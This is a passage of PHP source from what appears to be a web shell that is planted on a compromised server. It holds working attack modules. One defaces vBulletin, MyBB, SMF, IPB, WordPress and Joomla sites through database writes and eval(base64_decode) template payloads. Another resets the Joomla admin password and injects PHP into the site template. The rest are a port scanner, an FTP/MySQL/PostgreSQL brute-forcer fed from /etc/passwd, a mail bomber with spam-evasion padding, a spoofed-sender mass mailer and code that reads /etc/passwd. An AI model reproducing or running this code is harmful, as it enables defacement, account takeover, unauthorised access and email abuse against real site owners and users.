for( $i = 0; $i < $num; $i++ )
{
$field = mysql_fetch_field( $pResult, $i );
if( $field->primary_key == 1 )
if( $field->numeric == 1 )
$key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
else
$key .= $field->name . "=\'" . $GLOBALS[$field->name] . "\' AND ";
}
$key = substr( $key, 0, strlen($key)-4 );
mysql_select_db( $dbname, $mysqlHandle );
$pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE $row = $rowid", $mysqlHandle );
$data = mysql_fetch_array( $pResult );
echo "<input type=hidden name=dbname value=$dbname>
";
echo "<input type=hidden name=tablename value=$tablename>
";
echo "<input type=hidden name=$row value=$rowid>";
echo "<table cellspacing=1 cellpadding=2 border=1>
";
echo "<tr>
";
echo "<th>Name</th>
";
echo "<th>Type</th>
";
echo "<th>Function</th>
";
echo "<th>Data</th>
";
echo "</tr>
";
$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
$num = mysql_num_rows( $pResult );
$pResultLen = mysql_list_fields( $dbname, $tablename );
for( $i = 0; $i < $num; $i++ )
{
$field = mysql_fetch_array( $pResult );
$fieldname = $field["Field"];
$fieldtype = $field["Type"];
$len = mysql_field_len( $pResultLen, $i );
echo "<tr>";
echo "<td>$fieldname</td>";
echo "<td>".$field["Type"]."</td>";
echo "<td>
";
echo "<select name=${fieldname}_function class=sbox>
";
echo "<option>
";
echo "<option>ASCII
";
echo "<option>CHAR
";
echo "<option>SOUNDEX
";
echo "<option>CURDATE
";
echo "<option>CURTIME
";
echo "<option>FROM_DAYS
";
echo "<option>FROM_UNIXTIME
";
echo "<option>NOW
";
echo "<option>PASSWORD
";
echo "<option>PERIOD_ADD
";
echo "<option>PERIOD_DIFF
";
echo "<option>TO_DAYS
";
echo "<option>USER
";
echo "<option>WEEKDAY
";
echo "<option>RAND
";
echo "</select>
";
echo "</td>
";
$value = htmlspecialchars($data[$i]);
$type = strtok( $fieldtype, " (,)
" );
if( $type == "enum" || $type == "set" )
{
echo "<td>
";
if( $type == "enum" )
echo "<select name=$fieldname class=box>
";
else if( $type == "set" )
echo "<select name=$fieldname size=4 class=box multiple>
";
while( $str = strtok( "\'" ) )
{
if( $value == $str )
echo "<option selected>$str
";
else
echo "<option>$str
";
strtok( "\'" );
}
echo "</select>
";
echo "</td>
";
}
else
{
if( $len < 40 )
echo "<td><input type=text size=40 maxlength=$len name=$fieldname value=\"$value\" class=box></td>
";
else
echo "<td><textarea cols=47 rows=3 maxlength=$len name=$fieldname class=box>$value</textarea>
";
}
echo "</tr>";
}
echo "</table><p>
";
echo "<input type=submit value=\'Edit Data\' class=but>
";
echo "<input type=button value=\'Cancel\' onClick=\'history.back()\' class=but>
";
echo "</form>
";
}
}
// Edit Submit Table Data
else if($_REQUEST[\'action\'] == "editsubmitData")
{
$dbserver = $_COOKIE["dbserver"];
$dbuser = $_COOKIE["dbuser"];
$dbpass = $_COOKIE["dbpass"];
$dbname = $_POST[\'dbname\'];
$tablename = $_POST[\'tablename\'];
$mysqlHandle = mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
$sql = mysql_query("SELECT `COLUMN_NAME` FROM `information_schema`.`COLUMNS` WHERE (`TABLE_SCHEMA` = \'$dbname\') AND (`TABLE_NAME` = \'$tablename\') AND (`COLUMN_KEY` = \'PRI\');");
$row = mysql_fetch_array($sql);
$row = $row[\'COLUMN_NAME\'];
$rowid = $_POST[$row];
$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
$num = mysql_num_rows( $pResult );
$rowcount = $num;
$pResultLen = mysql_list_fields( $dbname, $tablename );
for( $i = 0; $i < $num; $i++ )
{
$field = mysql_fetch_array( $pResult );
$fieldname = $field["Field"];
$arrdata = $_REQUEST[$fieldname];
$str .= " " . $fieldname . " = \'" . $arrdata . "\'";
$rowcount--;
if($rowcount != 0)
$str .= ",";
}
$str = "update $tablename set" . $str . " where $row=$rowid";
mysql_query($str);
header("Location:$self?action=viewdata&dbname=$dbname&tablename=$tablename");
}
else if(isset($_GET[\'logoutdb\']))
{
setcookie("dbserver",time() - 60*60);
setcookie("dbuser",time() - 60*60);
setcookie("dbpass",time() - 60*60);
header("Location:$self?database");
}
// Forum Manager
else if(isset($_REQUEST["forum"]))
{ ?>
<center><table><tr><td><a href="<?php echo $self; ?>?forum&defaceforum"><font color="lime" size="4">| Forum Defacer |</font></a></td>
<td><a href="<?php echo $self; ?>?forum&passwordchange"><font color="lime" size="4">| Forum Password Changer |</font></a></td>
</tr></table></center><br>
<?php
if(isset($_REQUEST["defaceforum"]))
{
// Deface Forums
if(isset($_POST[\'forumdeface\']))
{
if($_POST[\'forumdeface\'] == "vb")
{
$localhost = $_POST[\'f1\'];
$database = $_POST[\'f2\'];
$username = $_POST[\'f3\'];
$password = $_POST[\'f4\'];
$index = $_POST[\'index\'];
$prefix = $_POST[\'prefix\'];
$con =@ mysql_connect($localhost,$username,$password);
$db =@ mysql_select_db($database,$con);
$index=str_replace(\'"\',\'\"\',$index);
$attack = "{\${eval(base64_decode(\'";
$attack .= base64_encode("echo \"$index\";");
$attack .= "\'))}}{\${exit()}}</textarea>";
if($prefix == "" || $prefix == null)
$query = "UPDATE template SET template = \'$attack\'";
else
$query = "UPDATE ".$prefix."template SET template = \'$attack\'";
$result =@ mysql_query($query,$con);
if($result)
{
echo "<center><font color=lime size=4><blink>Vbulletin Forum Defaced Successfully</blink></font></center>";
}
else
{
echo "<center><font color=red size=4><blink>Cannot Deface Vbulletin Forum</blink></font></center>";
}
}
else if($_POST[\'forumdeface\'] == "mybb")
{
$localhost = $_POST[\'f1\'];
$database = $_POST[\'f2\'];
$username = $_POST[\'f3\'];
$password = $_POST[\'f4\'];
$index = $_POST[\'index\'];
$prefix = $_POST[\'prefix\'];
$con =@ mysql_connect($localhost,$username,$password);
$db =@ mysql_select_db($database,$con);
$attack = "{\${eval(base64_decode(\'";
$attack .= base64_encode("echo \"$index\";");
$attack .= "\'))}}{\${exit()}}</textarea>";
$attack = str_replace(\'"\',"\\'",$attack);
if($prefix == "" || $prefix == null)
$query = "UPDATE mybb_templates SET template = \'$attack\'";
else
$query = "UPDATE ".$prefix."templates SET template = \'$attack\'";
$result =@ mysql_query($query,$con);
if($result)
{
echo "<center><font color=lime size=4><blink>Mybb Forum Defaced Successfully</blink></font></center>";
}
else
{
echo "<center><font color=red size=4><blink>Cannot Deface Mybb Forum</blink></font></center>";
}
}
else if($_POST[\'forumdeface\'] == "smf")
{
$localhost = $_POST[\'f1\'];
$database = $_POST[\'f2\'];
$username = $_POST[\'f3\'];
$password = $_POST[\'f4\'];
$index = $_POST[\'index\'];
$head = $_POST[\'head\'];
$catid = $_POST[\'f5\'];
$prefix = $_POST[\'prefix\'];
$con =@ mysql_connect($localhost,$username,$password);
$db =@ mysql_select_db($database,$con);
if($prefix == "" || $prefix == null)
$query = "UPDATE boards SET name=\'$head\', description=\'$index\' WHERE id_cat=\'$catid\'";
else
$query = "UPDATE ".$prefix."boards SET name=\'$head\', description=\'$index\' WHERE id_cat=\'$catid\'";
$result =@ mysql_query($query,$con);
if($result)
{
echo "<center><font color=lime size=4><blink>SMF Forum Index Changed Successfully</blink></font></center>";
}
else
{
echo "<center><font color=red size=4><blink>Cannot Deface SMF Forum</blink></font></center>";
}
}
else if($_POST[\'forumdeface\'] == "ipb")
{
$localhost = $_POST[\'f1\'];
$database = $_POST[\'f2\'];
$username = $_POST[\'f3\'];
$password = $_POST[\'f4\'];
$index = $_POST[\'index\'];
$head = $_POST[\'head\'];
$catid = $_POST[\'f5\'];
$prefix = $_POST[\'prefix\'];
$IPB = "forums";
$con =@ mysql_connect($localhost,$username,$password);
$db =@ mysql_select_db($database,$con);
if($prefix == "" || $prefix == null)
$result =@mysql_query($query = "UPDATE $IPB SET name = \'$head\', description = \'$index\' where id = \'$catid\'");
else
$result =@mysql_query($query = "UPDATE $prefix.$IPB SET name = \'$head\', description = \'$index\' where id = \'$catid\'");
if($result)
{
echo "<center><font color=lime size=4><blink>Forum Defaced Successfully</blink></font></center>";
}
else
{
echo "<center><font color=red size=4><blink>Cannot Deface Forum</blink></font></center>";
}
}
else if($_POST[\'forumdeface\'] == "wp")
{
$localhost = $_POST[\'f1\'];
$database = $_POST[\'f2\'];
$username = $_POST[\'f3\'];
$password = $_POST[\'f4\'];
$catid = $_POST[\'f5\'];
$index = $_POST[\'index\'];
$head = $_POST[\'head\'];
$prefix = $_POST[\'prefix\'];
$con =@ mysql_connect($localhost,$username,$password);
$db =@ mysql_select_db($database,$con);
if($prefix == "" || $prefix == null)
{
if(isset($_POST["all"]) && $_POST["all"] == "All")
$query = "UPDATE wp_posts SET post_title=\'$head\', post_content=\'$index\'";
else
$query = "UPDATE wp_posts SET post_title=\'$head\', post_content=\'$index\' WHERE ID=\'$catid\'";
}
else
{
if(isset($_POST["all"]) && $_POST["all"] == "All")
$query = "UPDATE ".$prefix."posts SET post_title=\'$head\', post_content=\'$index\'";
else
$query = "UPDATE ".$prefix."posts SET post_title=\'$head\', post_content=\'$index\' WHERE ID=\'$catid\'";
}
$result =@ mysql_query($query,$con);
if($result)
{
echo "<center><font color=lime size=4><blink>Wordpress Defaced Successfully</blink></font></center>";
}
else
{
echo "<center><font color=red size=4><blink>Cannot Deface Wordpress</blink></font></center>";
}
}
else if($_POST[\'forumdeface\'] == "joomla")
{
$localhost = $_POST[\'f1\'];
$dbname = $_POST[\'f2\'];
$username = $_POST[\'f3\'];
$password = $_POST[\'f4\'];
$dbprefix = $_POST[\'prefix\'];
$site_url = $_POST[\'siteurl\'];
$h="<? echo(stripslashes(base64_decode(\'".urlencode(base64_encode(str_replace("\'","\'",($_POST[\'index\']))))."\'))); exit; ?>";
$co=randomt();
$link=mysql_connect("localhost",$username,$password) ;
mysql_select_db($dbname,$link);
$tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username =\'admin\' , password = \'2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX\'");
$req =mysql_query("SELECT * from `".$dbprefix."extensions` ");
if ( $req )
{
$req =mysql_query("SELECT * from `".$dbprefix."template_styles` WHERE client_id=\'0\' and home=\'1\'");
$data = mysql_fetch_array($req);
$template_name=$data["template"];
$req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name=\'".$template_name."\'");
$data = mysql_fetch_array($req);
$template_id=$data["extension_id"];
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$return=entre2v2($buffer ,\'<input type="hidden" name="return" value="\',\'"\');
$hidden=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',4);
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,"com_config");
if($pos === false)
{
echo("<br>[-] Login Error");
exit;
}
$url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden2=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',2);
if(!$hidden2)
{
echo("<br>[-] index.php Not found in Theme Editor");
exit;
}
$url2=$site_url."/index.php?option=com_templates&layout=edit";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,\'<dd class="message message">\');
if($pos === false)
{
echo("<center><font color=red size=4><blink>Cannot Deface Joomla</blink></font></center>");
}
else
{
echo("<center><font color=lime size=4><blink>Joomla Defaced Successfully</blink></font></center>");
}
}
else
{
$req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id=\'0\'");
$data = mysql_fetch_array($req);
$template_name=$data["template"];
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',3);
$url2=$site_url."/index.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,"com_config");
if($pos === false)
{
echo("<br>[-] Login Error");
exit;
}
$url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$hidden2=entre2v2($buffer ,\'<input type="hidden" name="\',\'" value="1"\',6);
if(!$hidden2)
{
echo("<br>[-] index.php Not found in Theme Editor");
}
$url2=$site_url."/index.php?option=com_templates&layout=edit";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
$buffer = curl_exec($ch);
$pos = strpos($buffer,\'<dd class="message message fade">\');
if($pos === false)
{
echo("<center><font color=red size=4><blink>Cannot Deface Joomla</blink></font></center>");
exit;
}
else
{
echo("<center><font color=lime size=4><blink>Joomla Defaced Successfully</blink></font></center>");
}
}
}
}
?>
<center>
<font color="#FF0000" size="4">Forum Index Changer</font>
<form action="<?php echo $self; ?>" method = "POST">
<input type="hidden" name="forum">
<input type="hidden" name="defaceforum">
<table border = "1" width="60%" style="text-align: center;border-color:#333333;" align="center">
<tr>
<td height="50" width="50%"> <b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost"></td>
<td width="50%"><b> Database :</b> <input type ="text" class="sbox" name = "f2" size="20"></td></tr>
<tr><td height="50" width="50%"><b>User :</b> <input type ="text" class="sbox" name = "f3" size="20"> </td>
<td><b> Password :</b> <input class="sbox" type ="text" name = "f4" size="20"></td></tr>
<tr><td height="50" width="50%">Type :
<select class=sbox id="forumdeface" name="forumdeface" onChange="checkforum(this.value)">
<option value="vb">vbulletin</option>
<option value="mybb">Mybb</option>
<option value="smf">SMF</option>
<option value="ipb">IPB</option>
<option value="phpbb">PHPBB</option>
<option value="wp">Wordpress</option>
<option value="joomla">Joomla</option>
</select></td>
<td height="50" width="50%">Prefix : <input type="text" id="prefix" name="prefix" class="sbox"></td></td>
</tr>
<tr>
<td height="167" width="50%" colspan=2>
<div style="display:none;" id="myjoomla"><p><b>Site URL : </b><input class="box" type="text" name="siteurl" width="80" value="http://site.com/administrator/"></p></div>
<div style="display:none;" id="smfipb"><p align="center"><b>Head : </b><input class="sbox" type="text" name="head" size="20" value="Hacked"> <b>Kate ID : </b><input class="sbox" type="text" name="f5" size="20" value="1">
<label id="wordpres" style="display:none; float:right; margin-right:8%;"><input type="checkbox" name="all" value="All" checked="checked"> All</label></p>
</div>
<p align="center"> <textarea class="box" name="index" cols=53 rows=8><b>lol ! You Are Hacked !!!!</b></textarea><p align="center"><input type = "submit" class="but" value = "Hack It">
</td>
</tr>
</table>
</form>
</center>
<?php
}
else if(isset($_GET["passwordchange"]))
{
echo "<center>";
if(isset($_GET[\'changed\']))
{ ?><font color="lime" size="3"><blink>Password Changed Successfully</blink></font><br><br><?php }
else if(isset($_GET[\'cannotchange\']))
{ ?><font color="#FF0000" size="3"><blink>Cannot Change Password</blink></font><br><br> <?php } ?>
<font color="#FF0000" size="4">Forum Password Changer</font>
<form action="<?php echo $self; ?>" method = "POST">
<table border = "1" width="60%" height="246" style="text-align: center;border-color:#333333;" align="center">
<tr>
<td height="50" width="50%"> <b>Host : </b><input class="sbox" type="text" name="f1" size="20" value="localhost"></td><td height="50" width="50"> <b> DataBase :</b> <input type ="text" class="sbox" name = "f2" size="20"></td> <tr><td height="50" width="50%"> <b>User; :</b> <input type ="text" class="sbox" name = "f3" size="20"></td><td height="50" width="50%"> <b>Password :</b> <input class="sbox" type ="text" name = "f4" size="20"></td></tr>
<tr>
<td height="50" width="50%">Type :
<select class=sbox id="forums" name="forums" onChange="showMsg(this.value)">
<option value="vb">vbulletin</option>
<option value="mybb">Mybb</option>
<option value="smf">SMF</option>
<option value="ipb">IPB</option>
<option value="phpbb">PHPBB</option>
<option value="wp">Wordpress</option>
<option value="joomla">Joomla</option>
</select></td>
<td height="50" width="50%">Prefix : <input type="text" id="prefix" name="prefix" class="sbox"></td>
</tr>
<tr>
<td colspan=2 height="100" width="780">
<p align="center"><div id="fid" style="display:block;"><b>User ID :</b> <input class="sbox" type="text" name="ipbuid" size="20" value="1"> <b>New Password :</b> <input type ="text" class="sbox" name = "newipbpass" size="20" value="hacked"></div>
<div id="joomla" style="display:none;"><b>New Username :</b> <input style="width:170px;" class="box" type="text" name="username" size="20" value="admin"> <b>New Password :</b> <input type ="text" class="sbox" name = "newjoomlapass" size="20" value="hacked"></div>
<div id="wpress" style="display:none;"><p><b>User ID :</b> <input class="sbox" type="text" name="uid" size="20" value="1"> <b>New Password :</b> <input type ="text" class="sbox" name = "newpass" size="20" value="hacked"></p><b>New Username :</b> <input style="width:170px;" class="box" type="text" name="uname" size="20" value="admin"></div>
<p><input type = "submit" class="but" value = " Change IT " name="forumpass"></p></td>
</tr>
</table>
</form>
</center>
<?php
}
}
else if(isset($_GET[\'tools\']))
{
?>
<center><br>
<table cellpadding="5" border="3" style="border-color:#333333; width:50%;">
<tr>
<td colspan="2" align="center"><b><font size=\'4\' color="#FF0000">Port Scanner<br></font></b></td>
</tr>
<tr>
<td align="center">
<form name=\'scanner\' method=\'post\'>
<input class="sbox" type=\'text\' name=\'host\' value=\'<?php echo $_SERVER["SERVER_ADDR"]; ?>\' >
</td>
<td align="center">
<select class="sbox" name=\'protocol\'>
<option value=\'tcp\'>tcp</option>
<option value=\'udp\'>udp</option>
</select>
</td>
<tr>
<td colspan="2" align="center"><input class="but" type=\'submit\' value=\'Scan Ports\'></td>
</tr>
</form>
<?php
if(isset($_POST[\'host\']) && isset($_POST[\'protocol\']))
{
echo "<tr><td colspan=2><font size=\'3\' face=\'Verdana\'>Open Ports: ";
$host = $_POST[\'host\'];
$proto = $_POST[\'protocol\'];
$myports = array("21","22","23","25","59","80","113","135","445","1025","5000","5900","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
for($current = 0; $current <= 23; $current++)
{
$currents = $myports[$current];
$service = getservbyport($currents, $proto);
// Try to connect to port
$result = fsockopen($host, $currents, $errno, $errstr, 1);
// Show results
if($result)
{
echo "<font color=lime size=3>$currents, </font>";
}
}
}
echo "</td></tr></table>";
?>
<br>
<form action="<?php echo $self; ?>" method="get">
<input type="hidden" name="tools">
<table cellpadding="5" border="2" style="border-color:#333333; width:50%;">
<tr>
<td colspan="2" align="center"><font size="4">BruteForce</font></td>
</tr>
<tr>
<td>Type : </td>
<td>
<select name="prototype" class="sbox">
<option value="ftp">FTP</option>
<option value="mysql">MYSQL</option>
<option value="postgresql">PostgreSql</option>
</select>
</td>
</tr>
<tr>
<td>Server <b>:</b> Port : </td>
<td><input type="text" name="serverport" value="<?php echo $_SERVER["SERVER_ADDR"]; ?>" class="sbox"></td>
</tr>
<tr>
<td valign="middle">Brute type : </td>
<td><label><input type=radio name=type value="1" checked> /etc/passwd</label><label><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label><hr color="#1B1B1B">
<input type=radio name=type value="2"> Dictionary</label><br>
Login : <input type="text" name="login" value="root" class="sbox"><br>
Dictionary : <input type="text" name="dict" value="<?php echo getcwd() . $directorysperator; ?>passwd.txt" class="sbox">
</td>
</tr>
<tr>
<td colspan="2" align="center"><input type="submit" value="Attack >>" class="but"></td>
</tr>
</form>
<?php
if(isset($_GET[\'prototype\']))
{
echo \'<tr><td colspan=2><h1>Results</h1><div><span>Type:</span> \'.htmlspecialchars($_GET[\'prototype\']).\' <span><br>Server:</span> \'.htmlspecialchars($_GET[\'serverport\']).\'<br>\';
if( $_GET[\'prototype\'] == \'ftp\' )
{
function BruteFun($ip,$port,$login,$pass)
{
$fp = @ftp_connect($ip, $port?$port:21);
if(!$fp) return false;
$res = @ftp_login($fp, $login, $pass);
@ftp_close($fp);
return $res;
}
}
elseif( $_GET[\'prototype\'] == \'mysql\' )
{
function BruteFun($ip,$port,$login,$pass)
{
$res = @mysql_connect($ip.\':\'.$port?$port:3306, $login, $pass);
@mysql_close($res);
return $res;
}
}
elseif( $_GET[\'prototype\'] == \'pgsql\' )
{
function BruteFun($ip,$port,$login,$pass)
{
$str = "host=\'".$ip."\' port=\'".$port."\' user=\'".$login."\' password=\'".$pass."\' dbname=postgres";
$res = @pg_connect($str);
@pg_close($res);
return $res;
}
}
$success = 0;
$attempts = 0;
$server = explode(":", $_GET[\'server\']);
if($_GET[\'type\'] == 1)
{
$temp = @file(\'/etc/passwd\');
if( is_array($temp))
foreach($temp as $line)
{
$line = explode(":", $line);
++$attempts;
if(BruteFun(@$server[0],@$server[1], $line[0], $line[0]) )
{
$success++;
echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($line[0]).\'<br>\';
}
if(@$_GET[\'reverse\'])
{
$tmp = "";
for($i=strlen($line[0])-1; $i>=0; --$i)
$tmp .= $line[0][$i];
++$attempts;
if(BruteFun(@$server[0],@$server[1], $line[0], $tmp) )
{
$success++;
echo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($tmp);
}
}
}
}
elseif($_GET[\'type\'] == 2)
{
$temp = @file($_GET[\'dict\']);
if( is_array($temp) )
foreach($temp as $line)
{
$line = trim($line);
++$attempts;
if(BruteFun($server[0],@$server[1], $_GET[\'login\'], $line) )
{
$success++;
echo \'<b>\'.htmlspecialchars($_GET[\'login\']).\'</b>:\'.htmlspecialchars($line).\'<br>\';
}
}
}
echo "<span>Attempts:</span> <font color=lime>$attempts</font> <span>Success:</span> <font color=lime>$success</font></div></td></tr>";
}
?>
</table>
</center><br>
<?php
}
// Mail
else if(isset($_GET[\'mailbomb\']))
{ ?>
<center><table><tr><td><a href="<?php echo $self; ?>?bomb&mailbomb"><font color="lime" size="4">| Mail Bomber |</font></a></td><td><a href="<?php echo $self; ?>?mail&mailbomb"><font color="lime" size="4">| Mass Mailer |</font></a></td></tr></table></center><br>
<?php
if(isset($_GET[\'bomb\']))
{
if(
isset($_GET[\'to\']) &&
isset($_GET[\'subject\']) &&
isset($_GET[\'message\']) &&
isset($_GET[\'times\']) &&
$_GET[\'to\'] != \'\' &&
$_GET[\'subject\'] != \'\' &&
$_GET[\'message\'] != \'\' &&
$_GET[\'times\'] != \'\'
)
{
$times = $_GET[\'times\'];
while($times--)
{
if(isset($_GET[\'padding\']))
{
$fromPadd = rand(0,9999);
$subjectPadd = " -- ID : ".rand(0,9999999);
$messagePadd = "
------------------------------
".rand(0,99999999);
}
$from = "[email protected]";
if(!mail($_GET[\'to\'],$_GET[\'subject\'].$subjectPadd,$_GET[\'message\'].$messagePadd,"From:".$from))
{
$error = 1;
echo "<center><font color=red size=3><blink><blink>Some Error Occured!</blink></font></center>";
break;
}
}
if($error != 1)
{
echo "<center><font color=lime size=3><blink>Mail(s) Sent!</blink></font></center>";
}
}
else
{
?>
<form method="GET">
<input type="hidden" name="bomb" />
<input type="hidden" name="mailbomb" />
<table id="margins" style="width:100%;">
<tr>
<td style="width:30%;">
To
</td>
<td>
<input class="box" name="to" value="[email protected],[email protected]" onFocus="if(this.value == \'[email protected],[email protected]\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'[email protected],[email protected]\';"/>
</td>
</tr>
<tr>
<td style="width:30%;">
Subject
</td>
<td>
<input type="text" class="box" name="subject" value="Dhanush Here!" onFocus="if(this.value == \'Dhanush Here!\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'Dhanush Here!\';" />
</td>
</tr>
<tr>
<td style="width:30%;">
No. of Times
</td>
<td>
<input class="box" name="times" value="100" onFocus="if(this.value == \'100\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'100\';"/>
</td>
</tr>
<tr>
<td style="width:30%;">
Pad your message (Less spam detection)
</td>
<td>
<input type="checkbox" name="padding"/>
</td>
</tr>
<tr>
<td colspan="2">
<textarea name="message" cols="110" rows="10" class="box">Hello !! This is Dhanush!!</textarea>
</td>
</tr>
<tr>
<td rowspan="2">
<input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="but" value=" Bomb! "/>
</td>
</tr>
</table>
</form>
<?php
}
}
//Mass Mailer
else if(isset($_GET[\'mail\']))
{
if
(isset($_GET[\'to\']) && isset($_GET[\'from\']) && isset($_GET[\'subject\']) && isset($_GET[\'message\']))
{
if(mail($_GET[\'to\'],$_GET[\'subject\'],$_GET[\'message\'],"From:".$_GET[\'from\']))
{
echo "<center><font color=lime size=3><blink>Mail Sent!</blink></font></center>";
}
else
{
echo "<center><font color=red size=3><blink>Some Error Occured!</blink></font></center>";
}
}
else
{
?>
<div align="left">
<form method="GET">
<input type="hidden" name="mail" />
<input type="hidden" name="mailbomb" />
<table align="left" style="width:100%;">
<tr>
<td style="width:10%;">From</td>
<td style="width:80%;" align="left"><input name="from" class="box" value="[email protected]" onFocus="if(this.value == \'[email protected]\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'[email protected]\';"/></td>
</tr>
<tr>
<td style="width:20%;">To</td>
<td style="width:80%;"><input class="box" class="box" name="to" value="[email protected],[email protected]" onFocus="if(this.value == \'[email protected],[email protected]\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'[email protected],[email protected]\';"/></td>
</tr>
<tr>
<td style="width:20%;">Subject</td>
<td style="width:80%;"><input type="text" class="box" name="subject" value="Dhanush Here!!" onFocus="if(this.value == \'Dhanush Here!!\')this.value = \'\';" onBlur="if(this.value==\'\')this.value=\'Dhanush Here!!\';" /></td>
</tr>
<tr>
<td colspan="2">
<textarea name="message" cols="110" rows="10" class="box">Hello !! This is Dhanush!!!</textarea>
</td>
</tr>
<tr>
<td rowspan="2">
<input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="but" value=" Send! "/>
</td>
</tr>
</table>
</form></div>
<?php
}
}
}
// View Passwd file
else if(isset($_GET[\'passwd\']))
{
$test=\'\';
$tempp= tempnam($test, "cx");
$get = "/etc/passwd";
if(copy("compress.zlib://".$get, $tempp))
{
$fopenzo = fopen($tempp, "r");
